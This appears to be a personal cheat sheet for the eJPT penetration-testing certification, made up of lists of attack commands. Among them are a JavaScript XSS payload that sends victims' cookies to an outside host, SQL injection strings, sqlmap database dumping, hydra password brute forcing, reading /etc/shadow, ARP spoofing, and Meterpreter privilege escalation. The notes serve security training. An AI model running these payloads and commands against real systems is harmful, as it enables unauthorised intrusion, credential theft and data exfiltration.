eJPT Tips and Commands

How to identify a router IP from a pcap file

- View raw mac addresses without name resolution: View menu -> Name resolution -> Uncheck “enable for mac layer”

- Check for packets moving from our network to another network. In the bottom panel on wireshark, open the ethernet tap, under which there will be a destination tab. Make a note of the destination mac address. That will most probably be the mac address of a router.

- Filter out only the arp requests and responses using “arp” as the display filter Then, check for arp responses, which match ip addresses to mac addresses to get the ip address of the router.

Pro-tip: Check the video titled “Full Stack Analysis with Wireshark” under the networking section in module 1 on INE. Make yourself thorough with it.

Wireshark filters

Filter by IP	--> ip.add == 10.10.10.9
Filter by Destination IP	--> ip.dest == 10.10.10.9
Filter by Source IP	--> ip.src == 10.10.50.1
Filter by port	--> tcp.port == 25
Filter broadcast packets	--> eth.dst == ff:ff:ff:ff:ff:ff
Switch between tcp streams	--> tcp.stream eq <id> where id = 0,1,2...

View routing table: *ip route* or *route*

Add ip address to routing table with gateway: *sudo ip route add <ip> via <gateway>*
Example: sudo ip route add 192.168.222.0/24 via 10.175.34.1

Check ARP cache: *ip neighbour*

Check all listening ports and current TCP connections: *netstat -tunp*

Ping Sweep

- Using fping: *fping -a -g 10.54.12.0/24* or *fping -a -g 10.54.12.0 10.54.12.255*
  -a: show only alive hosts
  -g: ping sweep

- Using nmap: *sudo nmap -sn 200.200.0..0/16*
  sudo nmap -sn 200.200.123.1-12
  *sudo nmap -sn 172.16.12.**

Nmap Switches: -sT = TCP connect scan
-sS = TCP SYN / Stealth scan
-sV = version detection scan
-p 21, 22, 23 = scan specific ports
-p 100-500 = scan a range of ports
-p- = scan all ports
-O: OS detection

Pro-Tip: To do a full port scan quicker than normal, first run the command “sudo nmap -p- -T4 172.16.37.234 --open” followed by “sudo nmap -sC -sV -p 40121,40180 172.16.37.234” where 40121 and 40180 are the ips we got after the first command

Nessus
Start Nessus: /bin/systemctl start nessusd.service
Go to link displayed while starting
Login with your credentials
Create a new policy and perform scan

Directory Brute Forcing

- Dirbuster - set target, select wordlist, run directory brute force

- Dirb - dirb http://<target> <path-to-wordlist>
  If no wordlist path is specified, default wordlist common.txt is used
  Add -X flag to specify extensions. Eg: -X “.php, .bak”
  dirb <url> -u user:pass => To brute force with valid credentials

- ffuf - ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -u http://<target ip>/FUZZ -r -e .old,.bak,.php
  -r: recursive
  -e: specify extensions

Cross Site Scripting (XSS)
Check for reflected XSS: <script>alert(document.cookie)</script>

Code to steal cookies and send to our own website (used in xss lab):
<script>
var i = new Image();
i.src="http://192.168.99.11/get.php?cookies="+document.cookie;
</script>

SQL Injection
Add ‘ or 1=1; -- - at the end of the url parameter, it is an always true condition, will help to check if a website is vulnerable to SQL injection.

Another payload(to use with url parameter): id=1’ or ‘1’=’1

SQLMap: sqlmap -u <url with argument parameter> --tables
Examples:

sqlmap -u http://vuln.site/view.php?id=1 --tables
sqlmap -u http://vuln.site/view.php?id=1 --dbs (dumps databases)
sqlmap -u http://vuln.site/view.php?id=1 -D <db name> --tables
sqlmap -u http://vuln.site/view.php?id=1 --dbs --batch (dumps databases without prompt)
sqlmap -u http://vuln.site/view.php?id=1 -D <db name> --dump-all --batch
sqlmap -u http://vuln.site/view.php?id=1 --current-db <db name> --columns
sqlmap -u http://vuln.site/view.php?id=1 --current-db <db name> --dump
sqlmap -u http://vuln.site/view.php?id=1 --current-db <db name> --dump-all

Burp requests (on login forms) can be saved in a file with extension ".req" and used with sqlmap.

sqlmap -r request.req -p user --technique=B --dbs
Add flag --flush-session to retest an already tested site

MySQL login: mysql -u dbuser -p -P 63306 -h 172.16.64.92
mysql -u awdmgmt -p<pass> -h <host ip> <db-name>

Password Cracking
Command to unshadow the /etc/passwd file: unshadow /etc/passwd /etc/shadow > hash

john --wordlist=<path to list> <file to crack, like hash in the prev example>
In case we need to run john again on same hash, use flag --show

Password lists:
/usr/share/john/password.lst
/usr/share/wordlists/rockyou.txt
https://github.com/danielmiessler/SecLists

Authentication Cracking
hydra -L users.txt -P pass.txt service://server
Example: hydra -L users.txt -P pass.txt telnet://192.168.43.5
hydra 192.168.102.143 ssh -L /usr/share/ncrack/minimal.usr -P pass.txt

-l /-p : for single username and password
-L /-P: for a file containing multiple usernames and passwords

To crack HTTP login forms:

- Inspect element, check method of form submission (Eg: POST), action (Eg: login.php), name value of username and password fields (Eg: usr, pwd)

- Also check for a string we can use to identify invalid credentials, such as "invalid credentials"

- hydra crackme.site http-post-form "/login.php:usr=^USER^&pwd=^PASS^:invalid credentials" -L /usr/share/ncrack/minimal.usr -P /usr/share/wordlists/rockyou.txt

  Add -f flag to stop hydra once valid creds are found

Windows Shares
Ports used for sharing: 135,139,445
Enumerating Shares: nmblookup -A <ip>
Listing Shares: smbclient -L //<ip> -N
    -N flag: forcing smbclient not to ask for a password

Mount Shares: smbclient //<ip>/sharename -N
enum4linux: enum4linux -a <ip>
    This does thorough enumeration, but no mounting.

    Example: enum4linux -U <ip> => enumerates users
        enum4linux -P <ip> => display password policy
    For more enum4linux options type enum4linux on the terminal

Brute-force valid smb credentials: nmap -script=smb-brute <ip>
Check smb vulnerabilities using nmap: sudo nmap --script smb-vuln-* <ip>

ARP Spoofing
Enable Linux Kernel IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i <interface> -t <target> -r <host>
    interface - tap0/eth0/tun0
    Target - Ip of legitimate packet destination
    Host - Ip of legitimate packet sender

Example: arpspoof -i eth0 -t 192.168.4.11 -r 192.168.4.16
    Then, run wireshark to intercept the traffic.

Metasploit
Start metasploit: sudo service postgresql start
        msfconsole

Searching: search <search term>
Use an exploit: use <path to exploit>
Show options available in exploit: show options
Set a value to an option: set <option name> <value>
Show available payloads: show payloads
Launch the attack: exploit
Show active sessions: sessions -l
Resume a background session: sessions -i <id>

Inside Meterpreter Session

Dump hashes: hashdump (only works as root user on windows - NT AUTHORITY/SYSTEM)
Search for a file: search -f <filename.extension>
Check the user we are logged in as: getuid
Get a file onto our local machine: download '<path to file>' <path on our local machine>
Background a meterpreter session: background
Show network information: ifconfig
Show routing table: route
Run a standard shell: shell
Show a list of all available commands: help or ?

Escalate privileges in windows to system using meterpreter: getsystem

In case privesc fails:

background
use exploit/windows/local/bypassuac
set session <id>
exploit

Now, a new meterpreter session will open where getsystem will work.

Pro-tip: I have used hard-coded IPs and port numbers in some commands. Do not forget to replace it with the relevant IP/Port Number in your scenario.